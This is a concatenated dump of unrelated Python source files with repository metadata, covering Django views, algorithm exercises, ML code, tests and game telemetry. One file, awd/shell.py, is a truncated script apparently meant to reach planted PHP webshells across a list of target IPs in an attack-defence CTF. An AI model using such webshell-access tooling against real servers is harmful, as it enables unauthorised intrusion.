c2eae6011a4806e4a7f68ef9351dbffc2d9635f3
3be7fd4e130247715bc89525b3ab66a755863480
refs/heads/master
2020-04-08T22:33:01.218992
2018-12-18T08:09:23
2018-12-18T08:09:23
112,563,066
0
0
null
null
null
null
UTF-8
Python
false
false
421
py
class Animal: pass class Mammal(Animal): def body(self): print("eat milk") class Bird(Animal): def body(self): print("有翅膀") class Runable(Animal): def run(self): print("running") class Flyable(Animal): def fly(self): print("fly") class Bat(Mammal,Flyable): pass b ...
[ "17710890916@163.com" ]
17710890916@163.com
b9c1b57faec38343cc0531c69ae241bf31fc54fd
bc8a0e87417add0325c9124ee847efaf88d2daa1
/PycharmProjects/week5/coursera_forms/formdummy/views.py
1409ed3df327284e005f02b1e0ab417cf904ce4c
[]
no_license
Ivanlasich/python
f0034426ea91d956d4d47a0a41e099785a6ddf1a
d8ed501537581f01d07733bd81911d0f523d7bfc
refs/heads/master
2022-12-12T21:06:46.473608
2019-12-08T19:03:41
2019-12-08T19:03:41
226,704,894
0
0
null
2022-12-08T02:40:00
2019-12-08T17:28:07
Python
UTF-8
Python
false
false
242
py
from django.shortcuts import render from django.views import View import requests class FormDummyView(View): def get(self, request): r = requests.get('https://api.github.com/events') return render(request,'form.html',{})
[ "ivanlazichny@gmail.com" ]
ivanlazichny@gmail.com
3bc8e2ac6257c4f60d8e100e9230c5b365aa231f
c83fe2005a44b436a8be1e0787834a8a93b2024b
/scripts/dynamic_programming/longest_common_substring.py
6c200f0878b158a8bb9db30e056545648c26fb10
[]
no_license
wulfebw/algorithms
9eb0bacd8a7851d28beecb608a895925e26f543b
cbae6aba464a021ada842adb4eaed9dbd16dc0f2
refs/heads/master
2021-01-19T02:28:12.666777
2019-05-02T02:52:08
2019-05-02T02:52:08
49,041,959
1
1
null
null
null
null
UTF-8
Python
false
false
769
py
''' I think the difference between finding the lcsubstring and lcsubseq is that in the substring case you erase your progress, whereas with the subsequence you do not ''' import numpy as np def lcs(a,b): n, m = len(a), len(b) v = np.zeros((n+1, m+1)) for i in range(n): for j in range(m): ...
[ "wulfebw@stanford.edu" ]
wulfebw@stanford.edu
5fecb3d42317d7666bb4cf7e590626bd078063ef
d7998eacdd2ecd9623b520ec1c36524a2c3ab827
/conwhat/__main__.py
86cee1f77db13de34af7a5a1156f2579c0a8759e
[ "BSD-3-Clause" ]
permissive
raamana/ConWhAt
d50674e3d790704d8105eb69dfa96e8164c0c402
098ae8088f6d320ed414355be3d31a65b8bf43de
refs/heads/master
2021-08-20T00:35:54.446433
2017-11-27T20:17:13
2017-11-27T20:17:13
112,232,400
0
0
null
2017-11-27T18:26:35
2017-11-27T18:26:34
null
UTF-8
Python
false
false
488
py
def main(): "Entry point." raise NotImplementedError('The command line interface for ConWhAt is not currently supported. ' 'Please use it via API in a script or jupyter notebook. \n' 'Example usages : \n' 'from conwhat...
[ "raamana@gmail.com" ]
raamana@gmail.com
f00f2c84d5ce3a1e7902935d2bd5bc439c1b790b
59212f32b5b3a274fde0875101b37aafe72891f1
/crawller/selenium_base/classifier.py
4da4ec8aaf59ec25d2fcb3bff2b7ea2920d5af49
[]
no_license
afcarl/rehabilitation
b2dd1626deaa606469d7150982f130a2272dd3b0
67c6719d805201e0c9ee97fe9130398a9b93881a
refs/heads/master
2020-03-22T09:59:09.623992
2017-02-03T01:06:05
2017-02-03T01:06:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,126
py
from sklearn.feature_extraction.text import CountVectorizer import json from sklearn import svm from sklearn.linear_model import LogisticRegression from sklearn.model_selection import cross_val_score import random from nltk.tokenize import sent_tokenize, word_tokenize from functools import reduce import numpy as np fro...
[ "zhaosanqiang916@gmail.com" ]
zhaosanqiang916@gmail.com
b9b83013d4f1fab6c0ae403a06f74021bb5f9f05
dec494542217437afa7f38e8703328b25b183cb8
/999.py
207d2953c1b147a171c8398e49277b1fa5063386
[]
no_license
Transi-ent/LeetcodeSolver
ee44c9c4d5bce9f11c079c5b27b4b967790cb5cd
a89e19753666657a6f15c1be589b9b2dbd4b6c84
refs/heads/master
2021-04-16T20:37:34.710175
2021-02-24T03:51:43
2021-02-24T03:51:43
249,383,432
1
0
null
null
null
null
UTF-8
Python
false
false
1,517
py
class Solution: """ 先进行遍历,求出白车所在的位置(Row,Col), 再次进行遍历,查询所在的行和列可以捕获的卒 """ def numRookCaptures(self, board: list) -> int: r, c = None, None flag = False for i in range(8): for j in range(8): if board[i][j]=="R": r, c = i, j ...
[ "1305113016@qq.com" ]
1305113016@qq.com
cfe8be1936ffb48572be726f0bcc6d06589a4f7f
070b693744e7e73634c19b1ee5bc9e06f9fb852a
/python/problem-bit-manipulation/reverse_bits.py
db3e7500f8dee52f9f70c219edb95dbf38ef56fb
[]
no_license
rheehot/practice
a7a4ce177e8cb129192a60ba596745eec9a7d19e
aa0355d3879e61cf43a4333a6446f3d377ed5580
refs/heads/master
2021-04-15T22:04:34.484285
2020-03-20T17:20:00
2020-03-20T17:20:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
661
py
# https://leetcode.com/problems/reverse-bits # 33.75% class Solution: # @param n, an integer # @return an integer def reverseBits(self, n): bits, bit = [], 0x1 for i in range(32): print('bit {}, n & bit {}'.format(bit, n & bit)) if 0 == n & bit: ...
[ "morpheus.0@kakaocorp.com" ]
morpheus.0@kakaocorp.com
a841c652172a7aa0a01324d759390454a36c21f2
c7044393f89ffee67f30a277019372506d3b0af4
/tests/integration/test_billpayment.py
c16f8a530034dc79212393f29a91faa2cace5663
[ "MIT" ]
permissive
stephanelsmith/python-quickbooks
66845f54aef86dc43a081dd49345a9c090642433
20fd4b6e92fe5a5e8dac43daefb0568f0465b62c
refs/heads/master
2020-06-17T19:22:15.175039
2019-07-09T14:34:44
2019-07-09T14:34:44
196,022,916
0
0
MIT
2019-07-09T14:16:53
2019-07-09T14:16:52
null
UTF-8
Python
false
false
2,408
py
import os import unittest from datetime import datetime from quickbooks.auth import Oauth1SessionManager from quickbooks.client import QuickBooks from quickbooks.objects.account import Account from quickbooks.objects.bill import Bill from quickbooks.objects.billpayment import BillPayment, BillPaymentLine, CheckPayment...
[ "edward.emanuel@gmail.com" ]
edward.emanuel@gmail.com
b74b3f64c971504ff7beaf4a8b24756ffbbd7933
a38180435ac5786185c0aa48891c0aed0ab9d72b
/S4/S4 Library/simulation/sims/university/university_telemetry.py
3d65d5f99c17da1c0b69dc34bea11a7d0f241659
[ "CC-BY-4.0" ]
permissive
NeonOcean/Environment
e190b6b09dd5dbecba0a38c497c01f84c6f9dc7d
ca658cf66e8fd6866c22a4a0136d415705b36d26
refs/heads/master
2022-12-03T13:17:00.100440
2021-01-09T23:26:55
2021-01-09T23:26:55
178,096,522
1
1
CC-BY-4.0
2022-11-22T20:24:59
2019-03-28T00:38:17
Python
UTF-8
Python
false
false
3,176
py
import build_buy import services import sims4.telemetry import telemetry_helper TELEMETRY_GROUP_UNIVERSITY = 'UNIV' TELEMETRY_HOOK_UNIVERSITY_HOUSING = 'UNHO' TELEMETRY_HOOK_UNIVERSITY_ACCEPTANCE = 'UNAC' TELEMETRY_HOOK_UNIVERSITY_ENROLL = 'UNEN' TELEMETRY_HOOK_UNIVERSITY_TERM = 'UNTE' TELEMETRY_HOOK_UNIVERSITY_COURSE ...
[ "40919586+NeonOcean@users.noreply.github.com" ]
40919586+NeonOcean@users.noreply.github.com
c92b9ff5f6511b9cfc629cace269b98af358d96a
3f28b697f570ded0502de70c706200005ab62525
/env/lib/python2.7/site-packages/sklearn/neighbors/kde.py
8d940264f4374324ce9e5916eab9b797b0fd9d09
[ "MIT" ]
permissive
Ram-Aditya/Healthcare-Data-Analytics
5387e41ad8e56af474e10fa2d1c9d8a2847c5ead
d1a15d2cc067410f82a9ded25f7a782ef56b4729
refs/heads/master
2022-12-09T12:49:59.027010
2019-11-23T20:10:55
2019-11-23T20:10:55
223,639,339
0
1
MIT
2022-11-22T00:37:48
2019-11-23T19:06:20
Jupyter Notebook
UTF-8
Python
false
false
7,925
py
""" Kernel Density Estimation ------------------------- """ # Author: Jake Vanderplas <jakevdp@cs.washington.edu> import numpy as np from scipy.special import gammainc from ..base import BaseEstimator from ..utils import check_array, check_random_state from ..utils.extmath import row_norms from .ball_tree import BallT...
[ "ramaditya.danbrown@gmail.com" ]
ramaditya.danbrown@gmail.com
3c66085bda3a774bb6434ae9fc4233056dbbd85b
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_2751486_0/Python/alexamici/A.py
1cade536bfb429e80d1ec2be059a5be3fb11af7c
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
1,387
py
"""Usage: pypy X.py < X-size.in > X-size.out or sometimes python X.py < X-size.in > X-size.out """ def setup(infile): #C = {} return locals() def reader(testcase, infile, C=None, **ignore): #N = int(infile.next()) #P = map(int, infile.next().split()) #I = map(int, infile.next().split()) ...
[ "eewestman@gmail.com" ]
eewestman@gmail.com
386d31faf6a46dfb07690904507a892a1c2708d7
43e0cfda9c2ac5be1123f50723a79da1dd56195f
/python/paddle/fluid/tests/unittests/test_eager_run_program.py
a04c544e9025732bcea5e8f43a232c46e494c447
[ "Apache-2.0" ]
permissive
jiangjiajun/Paddle
837f5a36e868a3c21006f5f7bb824055edae671f
9b35f03572867bbca056da93698f36035106c1f3
refs/heads/develop
2022-08-23T11:12:04.503753
2022-08-11T14:40:07
2022-08-11T14:40:07
426,936,577
0
0
Apache-2.0
2022-02-17T03:43:19
2021-11-11T09:09:28
Python
UTF-8
Python
false
false
4,235
py
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
[ "noreply@github.com" ]
jiangjiajun.noreply@github.com
bd7f8f43434bce3c16ea97db4e907dd0e2835440
0cc8dd3549d12e24fb4ceb007001676a4dc27130
/awd/shell.py
b103d3dce3c86c0c33f1f195501d91b5786e3a19
[]
no_license
virink/vFuckingTools
78c98a2093deac438e173e0ef2d72cc8453f33bd
71cafcf60b347d09ff5c62fb9d7a27daea85b5e2
refs/heads/master
2021-01-22T18:29:00.926553
2019-05-05T05:51:38
2019-05-05T05:51:38
85,087,381
14
6
null
null
null
null
UTF-8
Python
false
false
1,357
py
#!/usr/bin/env python import requests import random ip_pass = {} shell_pass = [] shell_address = '/WordPress/shell.php' ips = ['40.10.10.57', '40.10.10.26', '40.10.10.11', '40.10.10.62', '40.10.10.24', '40.10.10.59', '40.10.10.47', '40.10.10.42', '40.10.10.15',...
[ "virink@outlook.com" ]
virink@outlook.com
9da2c36775a99673d80810536059cc0b7380e907
b0885fde23fff880927c3a6248c7b5a33df670f1
/models/im_retrieval_transformer/edit_encoder.py
0e4567075df31d82bd11666f71d482f72c5f7c10
[]
no_license
mrsalehi/paraphrase-generation
ceb68200e9016c5f26036af565fafa2d736dc96b
3e8bd36bd9416999b93ed8e8529bfdf83cf4dcdd
refs/heads/master
2020-07-22T03:50:40.343595
2019-08-26T11:29:08
2019-08-26T11:29:08
207,065,580
7
0
null
null
null
null
UTF-8
Python
false
false
1,640
py
import tensorflow as tf from models.common import graph_utils, vocab from models.common.config import Config from models.im_all_transformer import edit_encoder from models.im_all_transformer.edit_encoder import TransformerMicroEditExtractor, WordEmbeddingAccumulator from models.im_all_transformer.transformer import mo...
[ "ub.maka@gmail.com" ]
ub.maka@gmail.com
6aaa0670890d94adae6318b188461250bd09151a
e601ff328271d102d6b38259129a588416279a3d
/Snek.py
919628a5ef5b52837032d57a91758f83bef3c66f
[]
no_license
AlliterativeAnchovies/GameJamYamHam
383c357adb2375cd7cf2f0cdd846e2824c4e69c1
cba2c07098a7316d1b415c377151e8ba0902ecdf
refs/heads/master
2021-05-07T01:27:46.474053
2017-11-13T16:55:29
2017-11-13T16:55:29
110,340,526
0
0
null
null
null
null
UTF-8
Python
false
false
203
py
snekPosition = [0,0] snekParts = [] def moveSnek(x, y): snekPosition[0] += x snekPosition[1] += y def changeSnekSizeBy(count): if count > 0: pass #snekParts.extend([pass for i in range(count)])
[ "unconfigured@null.spigotmc.org" ]
unconfigured@null.spigotmc.org
cb66fb20161657cdfa2e432eef049a08fc5795c3
b169439ff77e4df4730b1efa09b3f306fbcd979f
/pyclownfish/clownfish_subsystem_service.py
8f90b175b024d8dc03a87c36ffc03cc8bfe4b7fe
[ "MIT" ]
permissive
KnightKu/clownfish
76d85030411d520ba3fcd301a796505cbfb863e7
fb9209e99a22caa84e4ce8a7afa23dce46b0104c
refs/heads/master
2022-07-28T21:41:40.351343
2020-02-16T14:47:08
2020-02-16T14:47:08
259,587,234
0
0
null
2020-04-28T09:11:14
2020-04-28T09:11:13
null
UTF-8
Python
false
false
5,966
py
# Copyright (c) 2020 DataDirect Networks, Inc. # All Rights Reserved. # Author: lixi@ddn.com """ Subsystem of service """ from pyclownfish import clownfish_command_common from pylcommon import lustre SUBSYSTEM_SERVICE_COMMNAD_MOVE = "move" SUBSYSTEM_SERVICE_NAME = "service" SUBSYSTEM_SERVICE = clownfish_command_com...
[ "lixi@ddn.com" ]
lixi@ddn.com
2773b3c2eb933aa1def2296c9be9cc09597c93b0
369e260e100db9ab5cc8b1711e99ef5e49aec173
/data/dacon/comp1/dacon1_8_feature_importances.py
63fbb471f1ea288e16cd5ce5ffd2e0ab4d5872ed
[]
no_license
HWALIMLEE/study
7aa4c22cb9d7f7838634d984df96eed75f7aefea
8336adc8999126258fe328d6b985a48e32667852
refs/heads/master
2023-03-26T09:11:19.606085
2021-03-29T23:03:04
2021-03-29T23:03:04
259,555,730
0
0
null
null
null
null
UTF-8
Python
false
false
3,666
py
import numpy as np import pandas as pd import matplotlib.pyplot as plt train=pd.read_csv('./data/dacon/comp1/train.csv',header=0,index_col=0) #0행이 header, 0열이 index/ header와 index모두 존재 test=pd.read_csv('./data/dacon/comp1/test.csv',header=0, index_col=0) submission=pd.read_csv('./data/dacon/comp1/sample_submission.c...
[ "hwalim9612@gmail.com" ]
hwalim9612@gmail.com
a5e9844ef7a8111c56eb3a1649bb77022f0d4a5c
49c3abd2b3fbb3bc5d1df47b1fddd09694ee4835
/scripts/translate_figs.py
6d2ad35b0719ad7472ee6b8091d0baa8be07d3e2
[]
no_license
phaustin/e213_2019
0b9970745e1bee29b58fa97bd425b66e01c20db8
ff66cc94cba57f53955cbbb4a72885146cabd5e4
refs/heads/master
2021-05-18T18:48:38.507719
2019-04-18T18:48:12
2019-04-18T18:48:12
251,362,114
0
1
null
null
null
null
UTF-8
Python
false
false
6,387
py
""" Usage: python translate_figs.py notebook.py Given a jupytext python:percent notebook, change all occurances of an image tag like: <img src="figures/2d_flux.png" alt="pic05" width="20%" > to a python Image call like this: # Image(figures/2d_flux.png){width="20%"} and write it out as a new file called notebook_...
[ "paustin@eos.ubc.ca" ]
paustin@eos.ubc.ca
2ebe41aa7b83bf751f563796d36307ca3e0d94da
8e6546515c8094f2df7fca4be343b57a1716257a
/tests/algorithms/associative/test_kohonen.py
d8a23d2f1bcfb9f72d8e7f49994c478d12883f70
[ "MIT" ]
permissive
FGDBTKD/neupy
b51e5870ef75df8aa3dcfb6753648a235f39e50b
1f5e1ae9364e8c7816df79678a4648c689d2a5d1
refs/heads/master
2020-03-31T13:32:57.099935
2018-10-29T15:52:19
2018-10-29T15:52:19
152,260,277
0
0
MIT
2018-10-29T15:52:20
2018-10-09T13:56:16
Python
UTF-8
Python
false
false
1,731
py
import numpy as np from neupy import algorithms from base import BaseTestCase input_data = np.array([ [0.1961, 0.9806], [-0.1961, 0.9806], [0.9806, 0.1961], [0.9806, -0.1961], [-0.5812, -0.8137], [-0.8137, -0.5812], ]) class KohonenTestCase(BaseTestCase): def test_kohonen_success(se...
[ "mail@itdxer.com" ]
mail@itdxer.com
39f57c10873dc5efeea1c40d3f35d8a875752a36
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/network/azure-mgmt-network/generated_samples/virtual_network_tap_update_tags.py
8ee1c7cf9b1a0d4963d50d2406f32510d2a37a27
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,614
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
Azure.noreply@github.com
627ad397bc9cac97d59ee45e981aabac63839ec2
1e8142725aa06844713d18fa38c6779aff8f8171
/tndata_backend/goals/migrations/0039_auto_20150501_1332.py
47957608f0a0fba364284a0e0abc1a51866ca164
[ "MIT" ]
permissive
tndatacommons/tndata_backend
8f4db3e5cf5272901c9087a85e21d7560240bb3b
3d22179c581ab3da18900483930d5ecc0a5fca73
refs/heads/master
2020-12-03T07:53:17.339769
2017-03-27T06:18:58
2017-03-27T06:18:58
68,407,220
1
2
null
2017-03-27T06:18:59
2016-09-16T18:59:16
Python
UTF-8
Python
false
false
3,086
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('goals', '0038_remove_behavior_categories'), ] operations = [ migrations.AlterField( model_name='action', ...
[ "brad@bradmontgomery.net" ]
brad@bradmontgomery.net
5ab68abc62761c0926aa94485ba9a542df2e4131
3bf6b373547dae4eca53af9a9271745085632209
/backend/home/migrations/0002_load_initial_data.py
f06014022267c67e7065dad06b6386bfcd0562c7
[]
no_license
crowdbotics-apps/fruit-of-peace-18240
282f78884ed4763c5bee3609ff2184d856215d5e
b24c20465987c185a7bc39269a5166cbed287752
refs/heads/master
2022-11-06T01:14:57.924906
2020-06-19T00:08:33
2020-06-19T00:08:33
273,361,641
0
0
null
null
null
null
UTF-8
Python
false
false
1,310
py
from django.db import migrations def create_customtext(apps, schema_editor): CustomText = apps.get_model("home", "CustomText") customtext_title = "Fruit Of Peace" CustomText.objects.create(title=customtext_title) def create_homepage(apps, schema_editor): HomePage = apps.get_model("home", "HomePage"...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
7f3c2dc97ed990179b60119f2568b0b551417524
e73d4b7bb0bbbc6f547a9bac7b5a2a97059fbb4f
/cicd_project/blog/models.py
5c2b726e65984ebda2bda432f0c063942242e473
[]
no_license
soohyun-lee/cicd_dev
0d7ad568cfafd07d940a9938ae2a2f624b8556f7
472048d4c46ca283ede9490206055c00eabcea07
refs/heads/main
2023-08-11T01:25:43.000435
2021-08-10T01:51:06
2021-08-10T01:51:06
394,487,476
0
0
null
null
null
null
UTF-8
Python
false
false
251
py
from django.db import models from django.db.models.fields import CharField class Booklist(models.Model): name = CharField(max_length=100, null=True) category = CharField(max_length=40, null=True) class Meta: db_table = 'bookList'
[ "soohyun527@gmail.com" ]
soohyun527@gmail.com
ff1f87d47ce4289fd8848474d974dcd85f9435dc
d7f89062dc6524f2ed3b5bee349fe3f06246ffab
/chainercv/visualizations/__init__.py
9449ed8a8e6c45c096b9d72f8ce91fadae2e2e4c
[ "MIT" ]
permissive
fukatani/chainercv
d9943afa1eb2465a36a23ffee08d4414ffa7ed84
49acfb2bd76742237e8cd3e8ce132de357b58c4d
refs/heads/master
2021-09-10T14:06:49.348027
2018-03-23T03:52:51
2018-03-23T03:52:51
114,512,105
0
0
null
2017-12-17T05:32:51
2017-12-17T05:32:50
null
UTF-8
Python
false
false
290
py
from chainercv.visualizations.vis_bbox import vis_bbox # NOQA from chainercv.visualizations.vis_image import vis_image # NOQA from chainercv.visualizations.vis_point import vis_point # NOQA from chainercv.visualizations.vis_semantic_segmentation import vis_semantic_segmentation # NOQA
[ "yuyuniitani@gmail.com" ]
yuyuniitani@gmail.com
53990e9e54df628151cb3075384dd3ecd9f10e89
a5882e39df9fb1ded1a3941c4b43646010dc2c3a
/can-funds-be-transferred-b.py
04691eb50e4ef5e978febaecdf8c3f32ac4bf31d
[]
no_license
hlltarakci/hackerrank
d58c8761cf21a64fd6f85bb6f82ae7a3964e7cf1
fb5adf854f528ac46330c45172f93dfcd37aed49
refs/heads/master
2020-03-27T08:49:52.519889
2018-08-24T06:40:08
2018-08-24T06:40:08
146,291,257
1
0
null
2018-08-27T11:58:55
2018-08-27T11:58:55
null
UTF-8
Python
false
false
2,060
py
#!/usr/bin/env python3 import functools import itertools # # Use this function to write data to socket # # write_string_to_socket(connection, message) where connection is the socket object and message is string # # Use this function to read data from socket # # def read_string_from_socket(connection) where connectio...
[ "charles.wangkai@gmail.com" ]
charles.wangkai@gmail.com
0c349048cf8dcc51df1a847c1a3fa879b204b10a
d1808d8cc5138489667b7845466f9c573591d372
/notebooks/Computational Seismology/The Finite-Difference Method/fd_seismometer_solution.py
154d22e4b1082f796247ce50c3d5933ed4f2c6e6
[]
no_license
krischer/seismo_live
e140777900f6246a677bc28b6e68f0a168ec41ab
fcc615aee965bc297e8d53da5692abb2ecd6fd0c
refs/heads/master
2021-10-20T22:17:42.276096
2019-11-27T23:21:16
2019-11-28T10:44:21
44,953,995
69
59
null
2020-05-22T11:00:52
2015-10-26T08:00:42
Python
UTF-8
Python
false
false
8,047
py
# --- # jupyter: # jupytext: # text_representation: # extension: .py # format_name: light # format_version: '1.4' # jupytext_version: 1.2.4 # kernelspec: # display_name: Python 3 # language: python # name: python3 # --- # <div style='background-image: url("../....
[ "lion.krischer@gmail.com" ]
lion.krischer@gmail.com
87ab9929f76972431b26c279e2ae1beb0af37277
4ada7aa922154f5aefd2c5ae83ea5e4e3a392c6d
/Python/algorithm/hanoi_tower/하노이의탑.py
4b6aa799cc2666c9cf56270080be00b7825ea21b
[ "MIT" ]
permissive
sug5806/TIL
ae483c0efc5c45f133993d1bd95a411fc6501140
2309d8a270e4a7b8961268a40b6492c5db317e37
refs/heads/master
2022-12-21T03:20:24.393316
2019-09-26T14:04:25
2019-09-26T14:04:25
180,498,457
0
0
MIT
2022-12-08T05:48:15
2019-04-10T03:56:28
Go
UTF-8
Python
false
false
357
py
n = 0 a = "A" # 출발 b = "B" # 중간 c = "C" # 도착 def hanoi(n, a, b, c): if n == 1: print("{}번째 원반을 {}로 이동".format(n, c)) return hanoi(n - 1, a, c, b) print("{}번째 원반을 {}로 이동".format(n, c)) hanoi(n - 1, b, a, c) if __name__ == "__main__": hanoi(3, a, b, c)
[ "sug5806@gmail.com" ]
sug5806@gmail.com
32bdcc38967b67dbf751a35e5b61bee09851481f
06c367fe2d2233c6efb64f323e15bebd7f48c625
/venv/lib/python3.6/site-packages/phonenumbers/data/region_SJ.py
c90ff44f85e3f8c821321de9306a08f67ec87f90
[ "BSD-3-Clause" ]
permissive
AkioSky/FishMart
ce630bc4addf63bc105e4f3e13e92c15b119b558
1d01d7e79812dc7cccb1b26ffc6457af6104d9f2
refs/heads/master
2022-12-11T16:13:38.277080
2019-04-22T03:44:22
2019-04-22T03:44:22
182,615,627
0
0
BSD-3-Clause
2022-12-08T01:44:37
2019-04-22T03:20:03
Python
UTF-8
Python
false
false
1,503
py
"""Auto-generated file, do not edit by hand. SJ metadata""" from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata PHONE_METADATA_SJ = PhoneMetadata(id='SJ', country_code=47, international_prefix='00', general_desc=PhoneNumberDesc(national_number_pattern='(?:0|(?:[4589]\\d|79)\\d\\d)\\d{4}', poss...
[ "whitebirdinbluesky1990@gmail.com" ]
whitebirdinbluesky1990@gmail.com
0b7613ed687f0eb0d89c213de50cb5dfaf7140cd
be4459658d667c47eefeeb3cf689a678042edb94
/scripts/cloud/get_switch_known_macs.py
f796984baaffda0fb49ebb51e388f5873d9760cc
[ "Apache-2.0" ]
permissive
kparr/RIFT.ware-1
7945174aa23ac1f7d74a7464b645db5824982fc3
6846108d70b80b95c5117fdccd44ff058ac605be
refs/heads/master
2021-01-13T08:36:03.751610
2016-07-24T21:36:15
2016-07-24T21:36:15
72,420,438
0
0
null
2016-10-31T09:11:27
2016-10-31T09:11:27
null
UTF-8
Python
false
false
1,099
py
#!/usr/bin/env python # # (c) Copyright RIFT.io, 2013-2016, All Rights Reserved # import subprocess import re import os import sys macs = dict() cmds='''terminal length 0 show mac-address-table q ''' re1 = re.compile('\s*[0-9]+\s+([0-9a-f:]+)\s+Dynamic\s+Te\s+0/([0-9]+)\s+Active') devnull = open(os.devnull, "w") ...
[ "Jeremy.Mordkoff@riftio.com" ]
Jeremy.Mordkoff@riftio.com
ad0ed729ddbfca606c205b7712f4b6e4b02deb5d
9083924b324cd31f1143f54effd46b2a0ea62664
/Algoritmia/Semana2/Taller1.py
ceeefe4f52ac2f9274ed906d8cd8fd26ab47e637
[]
no_license
dcardonac31/diplomado_comfenalco
ee0321d8bba4dd31780a22d26524bcb4d8fe28bf
ce51923b927130963750ede1aadd2d671859f12b
refs/heads/master
2023-05-19T18:57:09.004508
2021-06-14T00:47:29
2021-06-14T00:47:29
372,342,348
0
0
null
null
null
null
UTF-8
Python
false
false
5,804
py
print(" EJERCICIOS CON DECISIONES LÓGICAS TALLER 1") print("1. Elabore un algoritmo que permita averiguar cuál es el nombre del mayor de 2 hermanos no gemelos. Como datos de entrada se tiene el nombre y la edad de las 2 personas.") nombre1 = input("Nombre hermano 1: ") edad1 = int(input("Ingrese edad hermano 1: ")) no...
[ "david_ec10@hotmail.com" ]
david_ec10@hotmail.com
a13567f0e3d8d8902392285c9731804607eddf86
d8f25577efe8cef687ee4f0cd9a234f1e4b39e14
/src/memorycoinrpc/config.py
5435ab138e6b95ffafb0a04085ec5dcbf65aa6b3
[ "MIT" ]
permissive
baby636/memorycoin-python
cf82f3fdc8699df30f982d8a42d8675af190b623
2b938a1be9dc360bba9d825fd3e9492d08fdddd2
refs/heads/master
2023-03-16T14:50:31.299150
2014-01-15T16:55:23
2014-01-15T16:55:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,352
py
# Copyright (c) 2010 Witchspace <witchspace81@gmail.com> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify,...
[ "mail@emreyilmaz.me" ]
mail@emreyilmaz.me
09762017c24b5336f4c5d95f277192e6c1447cc1
03034837c5f10d19fcc4dc51388f056ec43fd1d2
/ex8.py
281eeca7a393efba92404cf62a6beb6b31e97edb
[]
no_license
shaukhk01/project01
e95c19844757c631f7ffbdd910b20316f49a945b
79cfe784612fdbb4816c9fc3fc7222c845a3268f
refs/heads/master
2020-06-26T07:20:49.844532
2019-08-20T06:06:40
2019-08-20T06:06:40
199,569,813
0
0
null
null
null
null
UTF-8
Python
false
false
193
py
class P: a = 10 def __init__(self): self.b = 20 class C(P): c = 30 def __init__(self): super().__init__() self.d = 40 obj = C() print(obj.a,obj.d,obj.b)
[ "shaukhk01@gmail.com" ]
shaukhk01@gmail.com